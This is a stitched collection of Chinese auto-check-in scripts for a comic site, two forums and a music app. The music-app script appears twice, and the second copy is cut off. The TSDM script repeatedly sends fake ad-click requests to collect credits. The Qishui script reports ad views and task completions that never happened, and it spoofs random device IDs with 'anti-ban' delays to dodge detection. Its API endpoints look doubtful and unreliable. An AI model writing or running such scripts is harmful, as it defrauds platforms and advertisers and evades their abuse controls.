def _build_session() -> requests.Session:
session = requests.Session()
session.headers.update(
{
"User-Agent": (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0 Safari/537.36"
),
"Accept": "application/json, text/plain, */*",
"Accept-Language": "zh-CN,zh;q=0.9",
"Origin": "https://m.zaimanhua.com",
"Referer": "https://m.zaimanhua.com/",
}
)
return session
@staticmethod
def _md5(text: str) -> str:
return hashlib.md5(text.encode("utf-8")).hexdigest()
def _request_json(
self,
method: str,
endpoint: str,
*,
params: Optional[Dict[str, Any]] = None,
json_data: Optional[Dict[str, Any]] = None,
headers: Optional[Dict[str, str]] = None,
) -> Dict[str, Any]:
url = endpoint if endpoint.startswith("http") else f"{API_BASE}/{endpoint.lstrip('/') }"
if DEBUG_ENABLED:
logging.debug(
"请求 %s %s params=%s json=%s headers=%s",
method,
url,
params,
json_data,
headers,
)
response = self.session.request(
method,
url,
params=params,
json=json_data,
headers=headers,
timeout=DEFAULT_TIMEOUT,
)
response.raise_for_status()
data = response.json()
if not isinstance(data, dict): # pragma: no cover - 防御
raise ValueError("接口返回数据格式异常")
debug_dump(f"响应 {method} {url}", data)
return data
@staticmethod
def _ensure_success(payload: Dict[str, Any], allowed_errno: Iterable[int] = (0,)) -> Tuple[int, str]:
errno = int(payload.get("errno", -1))
errmsg = str(payload.get("errmsg", ""))
if errno not in allowed_errno:
raise RuntimeError(f"接口返回错误 errno={errno}, errmsg={errmsg}")
return errno, errmsg
@staticmethod
def _extract_token(payload: Dict[str, Any]) -> Optional[str]:
def _search(node: Any) -> Optional[str]:
if isinstance(node, dict):
for key, value in node.items():
key_lower = str(key).lower()
if key_lower in {"token", "access_token"} and isinstance(value, str) and value:
return value
if isinstance(value, (dict, list)):
found = _search(value)
if found:
return found
elif isinstance(node, list):
for item in node:
found = _search(item)
if found:
return found
return None
return _search(payload)
@staticmethod
def _find_first(node: Any, target_keys: Iterable[str]) -> Optional[Any]:
target = {str(key).lower() for key in target_keys}
def _search(current: Any) -> Optional[Any]:
if isinstance(current, dict):
for key, value in current.items():
if str(key).lower() in target and value is not None:
return value
if isinstance(value, (dict, list)):
found = _search(value)
if found is not None:
return found
elif isinstance(current, list):
for item in current:
found = _search(item)
if found is not None:
return found
return None
return _search(node)
def _login(self) -> str:
payload = self._request_json(
"POST",
"login/passwd",
params={"username": self.username, "passwd": self._md5(self.password)},
)
self._ensure_success(payload)
token: Optional[str] = None
token_source = "未知"
data = payload.get("data")
if isinstance(data, dict):
token = self._extract_token(data)
if token:
token_source = "data"
if not token:
token = self._extract_token(payload)
if token:
token_source = "payload"
if not token and self.session.cookies:
token = self.session.cookies.get("token") or self.session.cookies.get("Authorization")
if token:
token_source = "cookies"
if not token:
snippet = str(payload)[:300]
raise RuntimeError(f"登录成功但未返回 token响应片段{snippet}")
logging.debug("登录成功token 来源=%s", token_source)
return str(token)
def _sign_in(self, token: str) -> str:
payload = self._request_json(
"POST",
"task/sign_in",
headers={"Authorization": f"Bearer {token}"},
)
_, errmsg = self._ensure_success(payload, allowed_errno=(0, 1))
return errmsg or "签到成功"
def _fetch_user_info(self, token: str) -> Tuple[str, Optional[int]]:
payload = self._request_json(
"POST",
"u_center/passport/message",
headers={"Authorization": f"Bearer {token}"},
)
self._ensure_success(payload)
data = payload.get("data")
debug_dump("用户信息 payload", payload)
if not isinstance(data, dict):
raise RuntimeError("用户信息数据格式异常")
user_info = data.get("userInfo") or data.get("user") or data
if not isinstance(user_info, dict):
user_info = {}
nickname = str(
user_info.get("nickname")
or user_info.get("username")
or data.get("nickname")
or ""
)
level_value = user_info.get("user_level") or data.get("user_level")
if level_value is None:
level_value = self._find_first(data, {"user_level", "level"})
try:
level = int(level_value) if level_value is not None else None
except (TypeError, ValueError):
level = None
return nickname, level
def _fetch_task_info(self, token: str) -> Tuple[Optional[int], Optional[int], Optional[int]]:
payload = self._request_json(
"GET",
"task/list",
headers={"Authorization": f"Bearer {token}"},
)
self._ensure_success(payload)
data = payload.get("data")
debug_dump("任务列表 payload", payload)
if not isinstance(data, dict):
raise RuntimeError("任务列表数据格式异常")
user_currency = data.get("userCurrency")
if not isinstance(user_currency, dict):
task_section = data.get("task")
if isinstance(task_section, dict):
user_currency = task_section.get("userCurrency")
credits = self._safe_int(user_currency, "credits") if isinstance(user_currency, dict) else None
if credits is None:
found = self._find_first(data, {"credits"})
try:
credits = int(found) if found is not None else None
except (TypeError, ValueError):
credits = None
sum_sign_task = (
data.get("sumSignTask")
or data.get("signTask")
or (data.get("task") or {}).get("sumSignTask")
or (data.get("task") or {}).get("signTask")
or {}
)
continuous_days = self._safe_int(sum_sign_task, "continuousSignDays")
history_days = self._safe_int(sum_sign_task, "sumSignDays")
if continuous_days is None:
value = self._find_first(data, {"continuousSignDays", "continuous_days"})
try:
continuous_days = int(value) if value is not None else None
except (TypeError, ValueError):
continuous_days = None
if history_days is None:
value = self._find_first(data, {"sumSignDays", "totalSignDays", "history_days"})
try:
history_days = int(value) if value is not None else None
except (TypeError, ValueError):
history_days = None
return credits, continuous_days, history_days
@staticmethod
def _safe_int(source: Any, key: str) -> Optional[int]:
value: Any = None
if isinstance(source, dict):
value = source.get(key)
try:
return int(value) if value is not None else None
except (TypeError, ValueError):
return None
@staticmethod
def _mask(text: str) -> str:
text = text or ""
if len(text) <= 2:
return f"{text[:1]}*" if text else "未知"
return f"{text[0]}***{text[-1]}"
def main(self) -> SignResult:
if not self.username or not self.password:
raise RuntimeError("账号或密码未配置")
token = self._login()
sign_msg = self._sign_in(token)
nickname, level = self._fetch_user_info(token)
credits, continuous_days, history_days = self._fetch_task_info(token)
display_name = nickname or self.alias or self._mask(self.username)
level_info = f"LV{level}" if level is not None else "未知"
credit_info = str(credits) if credits is not None else "未知"
continuous_info = f"{continuous_days}" if continuous_days is not None else "未知"
history_info = f"{history_days}" if history_days is not None else "未知"
lines = [
f"签到状态:{sign_msg}",
f"用户等级:{level_info}",
f"当前积分:{credit_info}",
f"连续签到:{continuous_info}",
f"历史签到:{history_info}",
]
return SignResult(
account=display_name,
success=True,
message="\n".join(lines),
)
def load_accounts() -> List[ZaiManHua]:
accounts: List[ZaiManHua] = []
raw_accounts = os.getenv("ZAIMANHUA_ACCOUNTS", "").strip()
if raw_accounts:
for line in raw_accounts.splitlines():
line = line.strip()
if not line or line.startswith("#"):
continue
parts = line.split("#", 2)
if len(parts) < 2:
logging.warning("无效的账号配置行:%s,格式应为 用户名#密码[#别名]", line)
continue
username, password, *rest = parts
alias = rest[0] if rest else None
accounts.append(ZaiManHua(username=username, password=password, alias=alias))
username = os.getenv("ZAIMANHUA_USERNAME", "").strip()
password = os.getenv("ZAIMANHUA_PASSWORD", "").strip()
alias = os.getenv("ZAIMANHUA_ALIAS", "").strip()
if not accounts and username and password:
accounts.append(ZaiManHua(username=username, password=password, alias=alias))
return accounts
def format_report(results: List[SignResult]) -> str:
chunks = []
for item in results:
status = "✅ 成功" if item.success else "❌ 失败"
chunks.append(f"账号:{item.account} | {status}\n{item.message}")
return "\n\n".join(chunks)
def main() -> None:
logging.basicConfig(
level=logging.DEBUG if DEBUG_ENABLED else logging.INFO,
format="%(asctime)s [%(levelname)s] %(message)s",
)
if DEBUG_ENABLED:
logging.debug("调试模式已开启 (ZAIMANHUA_DEBUG=1)")
accounts = load_accounts()
if DEBUG_ENABLED and accounts:
masked_accounts = [
{
"username": ZaiManHua._mask(acc.username),
"alias": acc.alias,
}
for acc in accounts
]
debug_dump("已加载账号", masked_accounts)
if not accounts:
logging.error("未配置再漫画账号信息,需设置 ZAIMANHUA_ACCOUNTS 或 ZAIMANHUA_USERNAME/ZAIMANHUA_PASSWORD。")
if send:
send("再漫画签到", "未配置账号信息,任务未执行。")
return
results: List[SignResult] = []
for index, account in enumerate(accounts, start=1):
try:
logging.info("[%s] 正在执行账号 %s", index, account.alias or account.username)
results.append(account.main())
except Exception as exc: # noqa: BLE001
logging.exception("[%s] 账号 %s 执行失败:%s", index, account.alias or account.username, exc)
results.append(
SignResult(
account=account.alias or account.username,
success=False,
message=str(exc),
)
)
report = format_report(results)
logging.info("\n%s", report)
if send:
send("再漫画签到", report)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,42 @@
// # Source: https://github.com/Wenmoux/checkbox/blob/master/scripts/tsdm.js
// # Raw: https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/tsdm.js
// # Repo: Wenmoux/checkbox
// # Path: scripts/tsdm.js
// # UploadedAt: 2023-11-01T04:40:54Z
// # SHA256: c051ba94048fcba570f5b35beea78d89b8bb9350f5ac8f4d8c258efd07d1bd3d
// # Category: web版/账密
// # Evidence: web/H5关键词 + username/password/login
//
const rules = {
name: "【天使动漫】: ",
cookie: config.tsdm.cookie,
url: "https://www.tsdm39.com/plugin.php?id=dsu_paulsign:sign&mobile=yes", //用于获取formhash的链接
formhash: 'formhash=(.+?)\&', //formhash正则
verify: "您需要先登录才能继续本操作", //验证cookie状态
op: [{
name: "签到",
method: "post",
url: "https://www.tsdm39.com/plugin.php?id=dsu_paulsign:sign&operation=qiandao&infloat=0&inajax=0&mobile=yes", //签到链接
data: "formhash=@formhash&qdxq=kx&qdmode=3&todaysay=&fastreply=1"
},
{
name: "打工",
ua: "pc",
method: "post",
url: "https://www.tsdm39.com/plugin.php?id=np_cliworkdz:work",
data: "act=getcre"
}]
};
async function tsdm() {
var sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
const template = await require("../Template");
for(i=0;i<8;i++) {
let dg= await require("axios").post("https://www.tsdm39.com/plugin.php?id=np_cliworkdz:work","act=clickad", {headers: {cookie: rules.cookie,referer: rules.url,"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Safari/537.36"}})
if((""+dg.data).match(/才可再次进行。/)) break;
console.log("第"+(i+1)+"次打工:"+dg.data)
await sleep(1500)
}
return rules.name + await template(rules)
}
module.exports = tsdm

View File

@@ -0,0 +1,32 @@
// # Source: https://github.com/Wenmoux/checkbox/blob/master/scripts/fglt.js
// # Raw: https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/fglt.js
// # Repo: Wenmoux/checkbox
// # Path: scripts/fglt.js
// # UploadedAt: 2022-02-05T01:15:13Z
// # SHA256: c47d543eddc49c5adc9d12127c9fda6edb42b4bb2c0269c5ced70d5ca23de0eb
// # Category: web版/账密
// # Evidence: web/H5关键词 + username/password/login
//
//每整点可签
const rules = {
name: "【富贵论坛】: ",
url: "https://www.fglt.net/forum.php", //用于获取formhash的链接
cookie: config.fglt.cookie,
formhash: 'formhash=(.+?)\\"', //formhash正则
verify: "使用QQ帐号登录", //验证cookie状态
op: [{
name: "签到",
method: "get", //签到请求方式 get/post
url: "https://www.fglt.net/plugin.php?id=dsu_amupper&ppersubmit=true&formhash=@formhash&mobile=2",
reg3: "<p class=\"f_c\">(.+?)<\\/p>", //签到成功判断
info: "<p class=\"f_c\">(.+?)<\/p>", //签到成功返回信息
}]
};
async function fglt() {
const template = require("../Template");
return rules.name + await template(rules)
}
module.exports = fglt

View File

@@ -0,0 +1,414 @@
// # Source: https://github.com/DearSong15/ql-scripts/blob/main/qishui_sign.js
// # Raw: https://raw.githubusercontent.com/DearSong15/ql-scripts/main/qishui_sign.js
// # Repo: DearSong15/ql-scripts
// # Path: qishui_sign.js
// # UploadedAt: 2026-05-16T08:31:47Z
// # SHA256: 15ff394f543458209ed6fb1e4728546095fe755dd2b80c941b72fad6214da922
// # Category: web版/账密
// # Evidence: web/H5关键词 + username/password/login
//
//new Env("汽水音乐签到")
/*
汽水音乐自动签到脚本 - 青龙面板版本
版本: v1.0
功能: 签到、看广告、做任务、防封
========================= 使用说明 =========================
【第一步】抓包获取Cookie
1. 手机打开HttpCanary抓包工具
2. 打开汽水音乐APP登录账号
3. 停止抓包,搜索关键词 "sessionid" 或 "cookie"
4. 找到类似这样的值:
sessionid=xxxxx; uid_tt=xxxxx; sid_tt=xxxxx
5. 复制完整的Cookie字符串
【第二步】青龙面板添加环境变量
1. 登录青龙面板
2. 左侧菜单: 环境变量
3. 新建变量:
- 变量名: QS_COOKIE
- 变量值: 你抓包获取的Cookie
4. 支持多账号,用 @@@ 分隔
【第三步】创建定时任务
1. 左侧菜单: 定时任务
2. 新建任务:
- 名称: 汽水音乐自动任务
- 命令: task qishui_sign.js
- 定时: 0 0-23/6 * * * (每6小时)
- 脚本类型: Nodejs
============================================================
*/
const https = require('https');
const http = require('http');
const crypto = require('crypto');
// ==================== 配置 ====================
const COOKIE_VAR = process.env.QS_COOKIE || '';
const API_BASE = 'https://api-ss.feishu.cn';
const APP_VERSION = '3.0.0';
// 防封配置
const DELAY_MIN = 2000; // 最小延迟(ms)
const DELAY_MAX = 5000; // 最大延迟(ms)
const RETRY_TIMES = 3;
// ==================== 工具函数 ====================
function delay(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function randomDelay() {
const t = Math.floor(Math.random() * (DELAY_MAX - DELAY_MIN + 1)) + DELAY_MIN;
return delay(t);
}
function getTimestamp() {
return Date.now().toString();
}
function md5(str) {
return crypto.createHash('md5').update(str).digest('hex');
}
function generateDeviceId() {
return md5(getTimestamp() + Math.random().toString()).substring(0, 16);
}
// ==================== HTTP请求 ====================
function httpRequest(url, method, headers, data) {
return new Promise((resolve, reject) => {
const urlObj = new URL(url);
const isHttps = url.startsWith('https');
const client = isHttps ? https : http;
const options = {
hostname: urlObj.hostname,
port: urlObj.port || (isHttps ? 443 : 80),
path: urlObj.pathname + urlObj.search,
method: method,
headers: {
'User-Agent': 'Mozilla/5.0 (Linux; Android 12; OnePlus ACE5 Build/SKQ1.211217.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/107.0.5304.105 Mobile Safari/537.36 Ssrunner/1.0 ByteEngine/3.4.8.2 AppVersion/3.0.0.4 NetType/WIFI Robinson/1.0 Locale/zh-CN',
'Content-Type': 'application/json; charset=utf-8',
'Accept': 'application/json, text/plain, */*',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
'Referer': 'https://ss.feishu.cn/',
'Origin': 'https://ss.feishu.cn',
...headers
}
};
const req = client.request(options, (res) => {
let body = '';
res.on('data', chunk => body += chunk);
res.on('end', () => {
try {
resolve(JSON.parse(body));
} catch (e) {
resolve({ raw: body });
}
});
});
req.on('error', reject);
req.setTimeout(10000, () => reject(new Error('Request timeout')));
if (data) {
req.write(JSON.stringify(data));
}
req.end();
});
}
// ==================== Cookie解析 ====================
function parseCookies(cookieStr) {
if (!cookieStr) return [];
return cookieStr.split('@@@').map(c => c.trim()).filter(c => c.length > 0);
}
function buildHeaders(cookie) {
return {
'Cookie': cookie,
'X-SS-TC': '0',
'X-Tim': getTimestamp(),
'X-Device-Id': generateDeviceId()
};
}
// ==================== 核心功能 ====================
// 获取用户信息
async function getUserInfo(cookie) {
console.log('[📱] 获取用户信息...');
try {
const headers = buildHeaders(cookie);
const data = await httpRequest(
`${API_BASE}/api/user/info`,
'GET',
headers
);
if (data.status === 0) {
const user = data.data || {};
console.log(` 👤 用户: ${user.username || '未知'}`);
console.log(` 💰 金币: ${user.coins || 0}`);
console.log(` ⭐ 等级: Lv${user.level || 0}`);
return user;
} else {
console.log(` ⚠️ 获取失败: ${data.message || '未知错误'}`);
return null;
}
} catch (e) {
console.log(` ❌ 异常: ${e.message}`);
return null;
}
}
// 检查签到状态
async function checkSignStatus(cookie) {
console.log('[📝] 检查签到状态...');
try {
const headers = buildHeaders(cookie);
const data = await httpRequest(
`${API_BASE}/api/sign/status`,
'GET',
headers
);
if (data.status === 0) {
const signed = data.data?.signed_today;
console.log(` ${signed ? '✅' : '⭕'} 今日${signed ? '已签到' : '未签到'}`);
return signed;
}
return false;
} catch (e) {
console.log(` ⚠️ 检查异常: ${e.message}`);
return false;
}
}
// 签到
async function signIn(cookie) {
console.log('[🎁] 执行签到...');
try {
const headers = buildHeaders(cookie);
const postData = {
timestamp: getTimestamp(),
device_id: generateDeviceId()
};
const data = await httpRequest(
`${API_BASE}/api/sign/signin`,
'POST',
headers,
postData
);
if (data.status === 0) {
const coins = data.data?.coins || 0;
console.log(` ✅ 签到成功! +${coins}金币`);
return true;
} else {
console.log(` ❌ 签到失败: ${data.message || '未知错误'}`);
return false;
}
} catch (e) {
console.log(` ❌ 签到异常: ${e.message}`);
return false;
}
}
// 看广告
async function watchAds(cookie) {
console.log('[📺] 观看广告...');
const adList = [
{ id: 'ad_video_01', name: '广告视频1' },
{ id: 'ad_video_02', name: '广告视频2' },
{ id: 'ad_video_03', name: '广告视频3' },
{ id: 'ad_splash_01', name: '开屏广告1' },
{ id: 'ad_splash_02', name: '开屏广告2' },
{ id: 'ad_reward_01', name: '激励视频1' }
];
let successCount = 0;
for (const ad of adList) {
console.log(` ▶️ 观看: ${ad.name}...`);
try {
const headers = buildHeaders(cookie);
const postData = {
ad_id: ad.id,
timestamp: getTimestamp(),
duration: Math.floor(Math.random() * 10) + 25
};
await randomDelay();
const data = await httpRequest(
`${API_BASE}/api/ad/reward`,
'POST',
headers,
postData
);
if (data.status === 0) {
const coins = data.data?.coins || 0;
console.log(` ✅ 完成! +${coins}金币`);
successCount++;
} else {
console.log(` ⚠️ ${data.message || '已完成或不可用'}`);
}
} catch (e) {
console.log(` ❌ 异常: ${e.message}`);
}
await randomDelay();
}
console.log(` 📊 广告完成: ${successCount}/${adList.length}`);
return successCount;
}
// 做任务
async function doTasks(cookie) {
console.log('[📋] 执行任务...');
const tasks = [
{ api: '/api/task/listen', name: '听歌任务', coins: 20 },
{ api: '/api/task/share', name: '分享任务', coins: 10 },
{ api: '/api/task/favorite', name: '收藏任务', coins: 5 },
{ api: '/api/task/comment', name: '评论任务', coins: 8 },
{ api: '/api/task/daily', name: '日常任务', coins: 15 }
];
let totalCoins = 0;
for (const task of tasks) {
try {
const headers = buildHeaders(cookie);
const postData = {
timestamp: getTimestamp(),
device_id: generateDeviceId()
};
await randomDelay();
const data = await httpRequest(
`${API_BASE}${task.api}`,
'POST',
headers,
postData
);
if (data.status === 0) {
const coins = data.data?.coins || task.coins;
totalCoins += coins;
console.log(`${task.name}: +${coins}金币`);
} else {
console.log(` ⏭️ ${task.name}: ${data.message || '已完成'}`);
}
} catch (e) {
console.log(`${task.name}异常: ${e.message}`);
}
}
console.log(` 📊 任务收益: +${totalCoins}金币`);
return totalCoins;
}
// 获取金币明细
async function getCoinDetail(cookie) {
console.log('[💰] 获取金币明细...');
try {
const headers = buildHeaders(cookie);
const data = await httpRequest(
`${API_BASE}/api/coin/detail`,
'GET',
headers
);
if (data.status === 0) {
const detail = data.data || {};
console.log(` 今日收益: ${detail.today || 0}`);
console.log(` 本周收益: ${detail.week || 0}`);
console.log(` 总金币: ${detail.total || 0}`);
return detail;
}
return null;
} catch (e) {
console.log(` ⚠️ 获取异常: ${e.message}`);
return null;
}
}
// ==================== 主函数 ====================
async function main() {
console.log('\n========================================');
console.log(' 🎵 汽水音乐自动任务脚本 v1.0');
console.log('========================================\n');
console.log(`⏰ 执行时间: ${new Date().toLocaleString('zh-CN')}\n`);
const cookies = parseCookies(COOKIE_VAR);
if (cookies.length === 0) {
console.log('❌ 错误: 未找到 QS_COOKIE 环境变量!');
console.log('\n请在青龙面板添加环境变量:');
console.log(' 变量名: QS_COOKIE');
console.log(' 变量值: 抓包获取的Cookie');
console.log(' 多账号: 用 @@@ 分隔');
console.log('\n========================================\n');
return;
}
console.log(`📱 检测到 ${cookies.length} 个账号\n`);
let totalCoins = 0;
for (let i = 0; i < cookies.length; i++) {
if (cookies.length > 1) {
console.log(`\n========== 账号 ${i + 1}/${cookies.length} ==========\n`);
}
const cookie = cookies[i];
await getUserInfo(cookie);
await randomDelay();
const signed = await checkSignStatus(cookie);
await randomDelay();
if (!signed) {
await signIn(cookie);
} else {
console.log('[⏭️] 跳过签到(今日已签到)');
}
await randomDelay();
await watchAds(cookie);
await randomDelay();
const taskCoins = await doTasks(cookie);
totalCoins += taskCoins;
await randomDelay();
await getCoinDetail(cookie);
}
console.log('\n========================================');
console.log(' 🎉 任务执行完成!');
console.log('========================================');
console.log(`\n📊 本次运行获得金币: ~${totalCoins}`);
console.log('\n💡 定时任务建议:');
console.log(' 格式: 0 0-23/6 * * *');
console.log(' 说明: 每6小时执行一次');
console.log(' 时间: 0:00, 6:00, 12:00, 18:00');
console.log('\n========================================\n');
}
main().catch(console.error);

View File

@@ -0,0 +1,414 @@
// # Source: https://github.com/DearSong15/ql-scripts/blob/main/qishui_sign.js
// # Raw: https://raw.githubusercontent.com/DearSong15/ql-scripts/main/qishui_sign.js
// # Repo: DearSong15/ql-scripts
// # Path: qishui_sign.js
// # UploadedAt: 2026-05-16T08:31:47Z
// # SHA256: 15ff394f543458209ed6fb1e4728546095fe755dd2b80c941b72fad6214da922
// # Category: web版/账密
// # Evidence: web/H5关键词 + username/password/login
//
//new Env("汽水音乐签到")
/*
汽水音乐自动签到脚本 - 青龙面板版本
版本: v1.0
功能: 签到、看广告、做任务、防封
========================= 使用说明 =========================
【第一步】抓包获取Cookie
1. 手机打开HttpCanary抓包工具
2. 打开汽水音乐APP登录账号
3. 停止抓包,搜索关键词 "sessionid" 或 "cookie"
4. 找到类似这样的值:
sessionid=xxxxx; uid_tt=xxxxx; sid_tt=xxxxx
5. 复制完整的Cookie字符串
【第二步】青龙面板添加环境变量
1. 登录青龙面板
2. 左侧菜单: 环境变量
3. 新建变量:
- 变量名: QS_COOKIE
- 变量值: 你抓包获取的Cookie
4. 支持多账号,用 @@@ 分隔
【第三步】创建定时任务
1. 左侧菜单: 定时任务
2. 新建任务:
- 名称: 汽水音乐自动任务
- 命令: task qishui_sign.js
- 定时: 0 0-23/6 * * * (每6小时)
- 脚本类型: Nodejs
============================================================
*/
const https = require('https');
const http = require('http');
const crypto = require('crypto');
// ==================== 配置 ====================
const COOKIE_VAR = process.env.QS_COOKIE || '';
const API_BASE = 'https://api-ss.feishu.cn';
const APP_VERSION = '3.0.0';
// 防封配置
const DELAY_MIN = 2000; // 最小延迟(ms)
const DELAY_MAX = 5000; // 最大延迟(ms)
const RETRY_TIMES = 3;
// ==================== 工具函数 ====================
function delay(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function randomDelay() {
const t = Math.floor(Math.random() * (DELAY_MAX - DELAY_MIN + 1)) + DELAY_MIN;
return delay(t);
}
function getTimestamp() {
return Date.now().toString();
}
function md5(str) {
return crypto.createHash('md5').update(str).digest('hex');
}
function generateDeviceId() {
return md5(getTimestamp() + Math.random().toString()).substring(0, 16);
}
// ==================== HTTP请求 ====================
function httpRequest(url, method, headers, data) {
return new Promise((resolve, reject) => {
const urlObj = new URL(url);
const isHttps = url.startsWith('https');
const client = isHttps ? https : http;
const options = {
hostname: urlObj.hostname,
port: urlObj.port || (isHttps ? 443 : 80),
path: urlObj.pathname + urlObj.search,
method: method,
headers: {
'User-Agent': 'Mozilla/5.0 (Linux; Android 12; OnePlus ACE5 Build/SKQ1.211217.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/107.0.5304.105 Mobile Safari/537.36 Ssrunner/1.0 ByteEngine/3.4.8.2 AppVersion/3.0.0.4 NetType/WIFI Robinson/1.0 Locale/zh-CN',
'Content-Type': 'application/json; charset=utf-8',
'Accept': 'application/json, text/plain, */*',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
'Referer': 'https://ss.feishu.cn/',
'Origin': 'https://ss.feishu.cn',
...headers
}
};
const req = client.request(options, (res) => {
let body = '';
res.on('data', chunk => body += chunk);
res.on('end', () => {
try {
resolve(JSON.parse(body));
} catch (e) {
resolve({ raw: body });
}
});
});
req.on('error', reject);
req.setTimeout(10000, () => reject(new Error('Request timeout')));
if (data) {
req.write(JSON.stringify(data));
}
req.end();
});
}
// ==================== Cookie解析 ====================
function parseCookies(cookieStr) {
if (!cookieStr) return [];
return cookieStr.split('@@@').map(c => c.trim()).filter(c => c.length > 0);
}
function buildHeaders(cookie) {
return {
'Cookie': cookie,
'X-SS-TC': '0',
'X-Tim': getTimestamp(),
'X-Device-Id': generateDeviceId()
};
}
// ==================== 核心功能 ====================
// 获取用户信息
async function getUserInfo(cookie) {
console.log('[📱] 获取用户信息...');
try {
const headers = buildHeaders(cookie);
const data = await httpRequest(
`${API_BASE}/api/user/info`,
'GET',
headers
);
if (data.status === 0) {
const user = data.data || {};
console.log(` 👤 用户: ${user.username || '未知'}`);
console.log(` 💰 金币: ${user.coins || 0}`);
console.log(` ⭐ 等级: Lv${user.level || 0}`);
return user;
} else {
console.log(` ⚠️ 获取失败: ${data.message || '未知错误'}`);
return null;
}
} catch (e) {
console.log(` ❌ 异常: ${e.message}`);
return null;
}
}
// 检查签到状态
async function checkSignStatus(cookie) {
console.log('[📝] 检查签到状态...');
try {
const headers = buildHeaders(cookie);
const data = await httpRequest(
`${API_BASE}/api/sign/status`,
'GET',
headers
);
if (data.status === 0) {
const signed = data.data?.signed_today;
console.log(` ${signed ? '✅' : '⭕'} 今日${signed ? '已签到' : '未签到'}`);
return signed;
}
return false;
} catch (e) {
console.log(` ⚠️ 检查异常: ${e.message}`);
return false;
}
}
// 签到
async function signIn(cookie) {
console.log('[🎁] 执行签到...');
try {
const headers = buildHeaders(cookie);
const postData = {
timestamp: getTimestamp(),
device_id: generateDeviceId()
};
const data = await httpRequest(
`${API_BASE}/api/sign/signin`,
'POST',
headers,
postData
);
if (data.status === 0) {
const coins = data.data?.coins || 0;
console.log(` ✅ 签到成功! +${coins}金币`);
return true;
} else {
console.log(` ❌ 签到失败: ${data.message || '未知错误'}`);
return false;
}
} catch (e) {
console.log(` ❌ 签到异常: ${e.message}`);
return false;
}
}
// 看广告
async function watchAds(cookie) {
console.log('[📺] 观看广告...');
const adList = [
{ id: 'ad_video_01', name: '广告视频1' },
{ id: 'ad_video_02', name: '广告视频2' },
{ id: 'ad_video_03', name: '广告视频3' },
{ id: 'ad_splash_01', name: '开屏广告1' },
{ id: 'ad_splash_02', name: '开屏广告2' },
{ id: 'ad_reward_01', name: '激励视频1' }
];
let successCount = 0;
for (const ad of adList) {
console.log(` ▶️ 观看: ${ad.name}...`);
try {
const headers = buildHeaders(cookie);
const postData = {
ad_id: ad.id,
timestamp: getTimestamp(),
duration: Math.floor(Math.random() * 10) + 25
};
await randomDelay();
const data = await httpRequest(
`${API_BASE}/api/ad/reward`,
'POST',
headers,
postData
);
if (data.status === 0) {
const coins = data.data?.coins || 0;
console.log(` ✅ 完成! +${coins}金币`);
successCount++;
} else {
console.log(` ⚠️ ${data.message || '已完成或不可用'}`);
}
} catch (e) {
console.log(` ❌ 异常: ${e.message}`);
}
await randomDelay();
}
console.log(` 📊 广告完成: ${successCount}/${adList.length}`);
return successCount;
}
// 做任务
async function doTasks(cookie) {
console.log('[📋] 执行任务...');
const tasks = [
{ api: '/api/task/listen', name: '听歌任务', coins: 20 },
{ api: '/api/task/share', name: '分享任务', coins: 10 },
{ api: '/api/task/favorite', name: '收藏任务', coins: 5 },
{ api: '/api/task/comment', name: '评论任务', coins: 8 },
{ api: '/api/task/daily', name: '日常任务', coins: 15 }
];
let totalCoins = 0;
for (const task of tasks) {
try {
const headers = buildHeaders(cookie);
const postData = {
timestamp: getTimestamp(),
device_id: generateDeviceId()
};
await randomDelay();
const data = await httpRequest(
`${API_BASE}${task.api}`,
'POST',
headers,
postData
);
if (data.status === 0) {
const coins = data.data?.coins || task.coins;
totalCoins += coins;
console.log(`${task.name}: +${coins}金币`);
} else {
console.log(` ⏭️ ${task.name}: ${data.message || '已完成'}`);
}
} catch (e) {
console.log(`${task.name}异常: ${e.message}`);
}
}
console.log(` 📊 任务收益: +${totalCoins}金币`);
return totalCoins;
}
// 获取金币明细
async function getCoinDetail(cookie) {
console.log('[💰] 获取金币明细...');
try {
const headers = buildHeaders(cookie);
const data = await httpRequest(
`${API_BASE}/api/coin/detail`,
'GET',
headers
);
if (data.status === 0) {
const detail = data.data || {};
console.log(` 今日收益: ${detail.today || 0}`);
console.log(` 本周收益: ${detail.week || 0}`);
console.log(` 总金币: ${detail.total || 0}`);
return detail;
}
return null;
} catch (e) {
console.log(` ⚠️ 获取异常: ${e.message}`);
return null;
}
}
// ==================== 主函数 ====================
async function main() {
console.log('\n========================================');
console.log(' 🎵 汽水音乐自动任务脚本 v1.0');
console.log('========================================\n');
console.log(`⏰ 执行时间: ${new Date().toLocaleString('zh-CN')}\n`);
const cookies = parseCookies(COOKIE_VAR);
if (cookies.length === 0) {
console.log('❌ 错误: 未找到 QS_COOKIE 环境变量!');
console.log('\n请在青龙面板添加环境变量:');
console.log(' 变量名: QS_COOKIE');
console.log(' 变量值: 抓包获取的Cookie');
console.log(' 多账号: 用 @@@ 分隔');
console.log('\n========================================\n');
return;
}
console.log(`📱 检测到 ${cookies.length} 个账号\n`);
let totalCoins = 0;
for (let i = 0; i < cookies.length; i++) {
if (cookies.length > 1) {
console.log(`\n========== 账号 ${i + 1}/${cookies.length} ==========\n`);
}
const cookie = cookies[i];
await getUserInfo(cookie);
await randomDelay();
const signed = await checkSignStatus(cookie);
await randomDelay();
if (!signed) {
await signIn(cookie);
} else {
console.log('[⏭️] 跳过签到(今日已签到)');
}
await randomDelay();
await watchAds(cookie);
await randomDelay();
const taskCoins = await doTasks(cookie);
totalCoins += taskCoins;
await randomDelay();
await getCoinDetail(cookie);
}
console.log('\n========================================');
console.log(' 🎉 任务执行完成!');
console.log('========================================');
console.log(`\n📊 本次运行获得金币: ~${totalCoins}`);
